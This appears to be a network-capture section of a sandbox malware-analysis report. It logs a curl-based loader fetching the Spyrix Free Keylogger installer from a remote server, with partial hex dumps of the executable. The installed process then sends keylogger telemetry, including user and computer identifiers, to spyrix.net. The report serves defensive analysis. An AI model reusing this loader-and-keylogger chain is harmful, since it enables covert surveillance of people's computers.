2024-10-02 04:11:27 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-02 04:11:27 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49718	167.114.14.170	443	1824	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:27 UTC	110	OUT	GET /loader/link.php?prg_id=sfk HTTP/1.1 Host: cdnbaynet.com User-Agent: sfk-dst-loader-2.0 Accept: /
2024-10-02 04:11:28 UTC	165	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:11:28 UTC	74	IN	Data Raw: 33 66 0d 0a 68 74 74 70 73 3a 2f 2f 73 77 74 62 2d 64 6f 77 6e 6c 6f 61 64 2e 73 70 79 72 69 78 2d 73 66 6b 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2f 73 66 6b 2f 73 66 6b 5f 73 65 74 75 70 2e 65 78 65 0d 0a 30 0d 0a 0d 0a Data Ascii: 3fhttps://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49723	167.114.14.168	443	5364	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:29 UTC	125	OUT	GET /download/sfk/sfk_setup.exe HTTP/1.1 Host: swtb-download.spyrix-sfk.com User-Agent: sfk-dst-loader-2.0 Accept: /
2024-10-02 04:11:29 UTC	380	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:29 GMT Content-Type: application/octet-stream Content-Length: 33441448 Connection: close Last-Modified: Wed, 02 Oct 2024 04:09:15 GMT Content-Disposition: attachment; filename="sfk_setup.exe" ETag: "66fcc76b-1fe46a8" Strict-Transport-Security: max-age=31536000; includeSubDomains Accept-Ranges: bytes
2024-10-02 04:11:29 UTC	16004	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2024-10-02 04:11:30 UTC	16384	IN	Data Raw: 08 c7 ff ff c3 8d 40 00 8b 10 85 d2 74 0e c7 00 00 00 00 00 50 52 e8 f1 c6 ff ff 58 c3 8d 40 00 53 56 89 c3 89 d6 8b 03 85 c0 74 0c c7 03 00 00 00 00 50 e8 d4 c6 ff ff 83 c3 04 4e 75 e8 5e 5b c3 8d 40 00 39 10 74 23 85 d2 0f 84 b8 ff ff ff 8b 4a fc d1 e9 0f 84 ad ff ff ff 51 52 50 e8 a1 c6 ff ff 85 c0 0f 84 6d ff ff ff c3 55 8b ec 81 c4 04 f0 ff ff 50 83 c4 fc 53 56 57 8b f1 89 55 fc 8b f8 85 f6 7f 09 8b c7 e8 7a ff ff ff eb 6c 8d 46 01 3d ff 07 00 00 7d 2f 56 8b 45 08 50 8d 85 fc ef ff ff 8b 4d fc ba ff 07 00 00 e8 b6 fc ff ff 8b d8 85 db 7e 11 8d 95 fc ef ff ff 8b c7 8b cb e8 51 00 00 00 eb 33 8d 5e 01 8b c7 8b d3 e8 d3 00 00 00 56 8b 45 08 50 8b 07 e8 b7 00 00 00 8b 4d fc 8b d3 e8 7d fc ff ff 8b d8 85 db 7d 02 33 db 8b c7 8b d3 e8 ac 00 00 00 5f 5e 5b Data Ascii: @tPRX@SVtPNu^[@9t#JQRPmUPSVWUzlF=}/VEPM~Q3^VEPM}}3_^[
2024-10-02 04:11:30 UTC	16384	IN	Data Raw: 4e 32 e4 c3 80 7d dc 00 74 06 66 b8 2d 00 66 ab c3 e8 ee ff ff ff 0f bf 4d da 31 d2 3b 4d 0c 7f 25 83 f9 fd 7c 20 09 c9 7f 22 66 b8 30 00 66 ab 80 3e 00 74 4b 66 8b 45 f6 66 ab f7 d9 66 b8 30 00 f3 66 ab eb 20 b9 01 00 00 00 42 ac 08 c0 74 20 32 e4 66 ab e2 f5 ac 08 c0 74 1c 32 e4 c1 e0 10 66 8b 45 f6 ab ac 08 c0 74 0d 32 e4 66 ab eb f5 66 b8 30 00 f3 66 ab 09 d2 74 04 31 c0 eb 22 c3 e8 7e ff ff ff e8 6e ff ff ff 66 ab 66 8b 45 f6 66 ab 8b 4d 0c 49 e8 5d ff ff ff 66 ab e2 f7 b4 2b 8b 4d 08 83 f9 04 76 02 31 c9 b0 45 8a 5d dd b7 01 0f bf 55 da 4a e8 e3 fd ff ff c3 e8 41 ff ff ff 8b 55 08 83 fa 12 72 05 ba 12 00 00 00 0f bf 4d da 09 c9 7f 08 66 b8 30 00 66 ab eb 2e 31 db 80 7d 10 02 74 0a 89 c8 48 b3 03 f6 f3 88 e3 43 e8 02 ff ff ff 66 ab 49 74 12 4b 75 f3 Data Ascii: N2}tf-fM1;M%\| "f0f>tKfEff0f Bt 2ft2fEt2ff0ft1"~nffEfMI]f+Mv1E]UJAUrMf0f.1}tHCfItKu
2024-10-02 04:11:30 UTC	16384	IN	Data Raw: e8 ff 74 ff ff 5a 5e 5b c3 00 00 00 b0 04 02 00 ff ff ff ff 1d 00 00 00 43 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 00 65 00 64 00 20 00 62 00 6c 00 6f 00 63 00 6b 00 20 00 69 00 73 00 20 00 63 00 6f 00 72 00 72 00 75 00 70 00 74 00 65 00 64 00 00 00 53 56 57 55 51 8b f9 8b f0 33 c0 89 04 24 8b ea 85 ff 7e 3e 83 7e 18 00 75 0d 83 7e 0c 00 74 32 8b c6 e8 09 ff ff ff 8b df 3b 5e 18 76 03 8b 5e 18 8b d5 8b 46 14 8d 44 06 1c 8b cb e8 a3 64 ff ff 01 5e 14 29 5e 18 03 eb 2b fb 01 1c 24 85 ff 7f c2 8b 04 24 5a 5d 5f 5e 5b c3 90 53 56 57 8b f1 8b fa 8b d8 8b 43 04 85 c0 74 0b 8b d7 8b ce 8b 18 ff 53 04 eb 25 8b d7 8b ce 8b c3 e8 7e ff ff ff 3b f0 74 16 b9 84 cb 40 00 b2 01 a1 dc c4 40 00 e8 b5 cc ff ff e8 14 74 ff ff 5f 5e 5b c3 b0 04 02 00 ff ff ff ff 1d 00 00 Data Ascii: tZ^[Compressed block is corruptedSVWUQ3$~>~u~t2;^v^FDd^)^+$$Z]_^[SVWCtS%~;t@@t_^[
2024-10-02 04:11:30 UTC	16384	IN	Data Raw: 41 00 68 7c 17 41 00 68 60 17 41 00 e8 83 50 ff ff 50 e8 8d 50 ff ff a3 20 85 41 00 83 3d 1c 85 41 00 00 74 09 83 3d 20 85 41 00 00 75 04 33 c0 eb 02 b0 01 a2 24 85 41 00 8d 45 f8 e8 0b a3 ff ff 8b 45 f8 8d 55 fc e8 10 9c ff ff 8d 45 fc ba c4 17 41 00 e8 bb 38 ff ff 8b 45 fc ba 00 80 00 00 e8 9a 95 ff ff 8d 55 f4 b8 fb 3a 78 4c e8 8d a8 ff ff 33 c0 5a 59 59 64 89 10 68 19 17 41 00 8d 45 f4 ba 03 00 00 00 e8 7f 35 ff ff c3 e9 91 27 ff ff eb eb 8b e5 5d c3 00 00 00 57 00 6f 00 77 00 36 00 34 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 57 00 6f 00 77 00 36 00 34 00 46 00 73 00 52 00 65 00 64 00 69 00 72 00 65 00 63 00 74 00 69 00 6f 00 6e 00 00 00 00 00 6b 00 65 00 72 00 6e 00 65 00 6c 00 33 00 32 00 2e 00 64 00 6c 00 6c 00 00 00 00 00 57 00 6f 00 77 00 36 Data Ascii: Ah\|Ah`APPP A=At= Au3$AEEUEA8EU:xL3ZYYdhAE5']Wow64DisableWow64FsRedirectionkernel32.dllWow6
2024-10-02 04:11:30 UTC	16384	IN	Data Raw: 02 8d 22 b0 e3 2d 73 64 d6 ee 50 f8 ed b3 02 09 8b 0b af 10 c8 a4 fd 03 4b c6 c9 a5 ae db ef 8d 00 26 ce 56 c3 48 d1 4b 10 36 17 48 24 8c 19 42 38 8b 07 03 23 89 29 92 9a fe 8a c2 a2 0d 76 af 3f 91 da d8 6e bd ec 34 75 aa 50 ae cf 81 37 02 98 34 8d 1a a9 2c b5 5a 0b c0 5a 3d 80 a1 59 1e 61 ea c5 40 4e 26 77 05 a2 86 99 52 fd db 67 09 8a 2c bf 00 88 ee 2c 2e 94 ff e5 ba fd 06 6f 04 60 18 3f 2b f1 07 01 79 ad ed 38 c2 be d7 1d f3 9f 98 15 99 8b 5f 27 bc bd de f6 46 31 1a 89 2f 97 8e 95 f3 5d 9f 03 83 67 02 a8 1a 2c 90 b1 d0 76 58 4d 1b 29 fc ea 62 c9 63 01 11 62 c3 27 84 db 9e b6 b7 98 ca bf 21 da a0 12 38 a5 74 82 dc ef fa 1c 18 bc 12 c0 d8 99 94 93 09 b5 4c 77 03 ba da 8e 65 64 2f c2 65 83 b9 1b 10 05 cc 94 e9 ff 7e 5e e1 c3 8f ed 67 7d ba c3 f1 60 c9 b8 Data Ascii: "-sdPK&VHK6H$B8#)v?n4uP74,ZZ=Ya@N&wRg,,.o`?+y8_'F1/]g,vXM)bcb'!8tLwed/e~^g}`
2024-10-02 04:11:30 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe a4 62 1f fd 9e 64 dc ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff fd b0 80 ff fd e7 d8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe ed e3 ff fd b6 8a ff ff a0 64 ff ff a0 64 Data Ascii: bddddddddddddddddddddddddd
2024-10-02 04:11:30 UTC	16384	IN	Data Raw: ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff fd cc ad ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb f9 ff fd d6 bd ff fe af 7e ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff fd c2 9d ff ff fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: ddddddddddddd~ddddddddddddddddddddddddddddddd
2024-10-02 04:11:30 UTC	16384	IN	Data Raw: ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff fd cc ad ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe ea de ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 Data Ascii: dddddddddddddddddddddddddddddddd
2024-10-02 04:11:30 UTC	16384	IN	Data Raw: ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 Data Ascii: dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49725	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:12:06 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XYT5nbVGers4f7G&MD=VVPG9a78 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-02 04:12:06 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 672546b6-bd9d-4474-a228-0a2197a1c9ea MS-RequestId: c3c4fcfe-1bbe-4a31-bed2-f858b61b5dde MS-CV: bHH1BgiciEK2Lz15.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 02 Oct 2024 04:12:05 GMT Connection: close Content-Length: 30005
2024-10-02 04:12:06 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-02 04:12:06 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49729	158.69.117.119	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:01 UTC	663	OUT	GET / HTTP/1.1 Host: dashboard.spyrix.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:01 UTC	248	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:13:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; X-State: 3.0
2024-10-02 04:13:01 UTC	650	IN	Data Raw: 32 37 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 0a 20 20 20 20 72 65 6c 3d 22 69 63 6f 6e 22 0a 20 20 20 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 0a 20 20 2f 3e 0a 20 20 3c 6d 65 74 61 0a 20 20 20 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 0a 20 20 2f 3e 0a 20 20 3c 6d 65 74 61 0a 20 20 20 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 Data Ascii: 27e<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8" /> <link rel="icon" href="/favicon.ico" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta name="robots" content="noinde

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49733	158.69.117.119	443	6848	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:02 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 426 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:13:02 UTC	426	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 4d 6f 6e 69 74 6f 72 69 6e 67 3a 53 74 61 72 74 42 75 74 74 6f 6e 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 68 75 62 65 72 74 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 33 32 30 33 36 36 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 31 35 38 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 32 3a 35 39 2e 34 36 33 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 Data Ascii: &action=app:Monitoring:StartButton&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=320366&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001158&comp_time=2024-10-02 00:12:59.463&prg_lng=english&os_caption= ()&os_typ
2024-10-02 04:13:05 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:13:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:13:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49735	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:02 UTC	574	OUT	GET /dashboard30/assets/index-93c74fef.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:03 UTC	314	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:03 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: W/"66fa817d-ef8c" Content-Encoding: gzip Cache: STALE X-Cached-Since: 2024-10-01T22:41:04+00:00 X-Node: m9-up-gc31
2024-10-02 04:13:03 UTC	3782	IN	Data Raw: 33 39 62 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 7d 7b 73 23 b9 91 e7 ff f7 29 b8 d3 e1 08 c9 a7 62 f3 fd 52 ec 86 e7 e1 59 af 6f ed f5 7b 6f ec 98 53 14 ab 8a 22 2d 8a d4 90 54 4b 3d 3a dd 67 bf 5f 26 32 f1 28 a0 48 aa a7 1d 77 17 71 d3 ee b6 54 85 4a 24 f2 8d 44 02 f8 45 b1 cc 77 fb ea d0 fa e2 cf 7f fa 36 9b 7c 71 fd 8b c5 76 73 c8 16 79 51 bd c8 4f f7 ab f5 c7 d9 6f 1f 37 ab c3 f6 7a bf 2b 66 8f bb f5 c5 f2 70 78 d8 cf de bf 2f ca 4d 1b 7f cb ed d3 66 bd cd cb f6 a6 3a bc 2f f3 fd 72 be cd 77 65 bf f3 3e df 03 f6 fe bd f9 3a fb 43 75 fb b8 ce 77 d9 b8 5f 16 79 3e ec b6 9f b6 8b 45 ef 92 a1 ae b7 45 be be f8 e2 77 db 87 87 d5 66 ff c5 e5 d5 67 ef a6 b5 d8 ee ee f3 c3 c5 17 d4 eb 17 97 d7 3c bc a7 6a 75 bb 3c cc fa 9d 4e 6b d8 e9 98 67 fb c3 c7 75 35 Data Ascii: 39b9}{s#)bRYo{oS"-TK=:g_&2(HwqTJ$DEw6\|qvsyQOo7z+fpx/Mf:/rwe>:Cuw_y>EEwfg<ju<Nkgu5
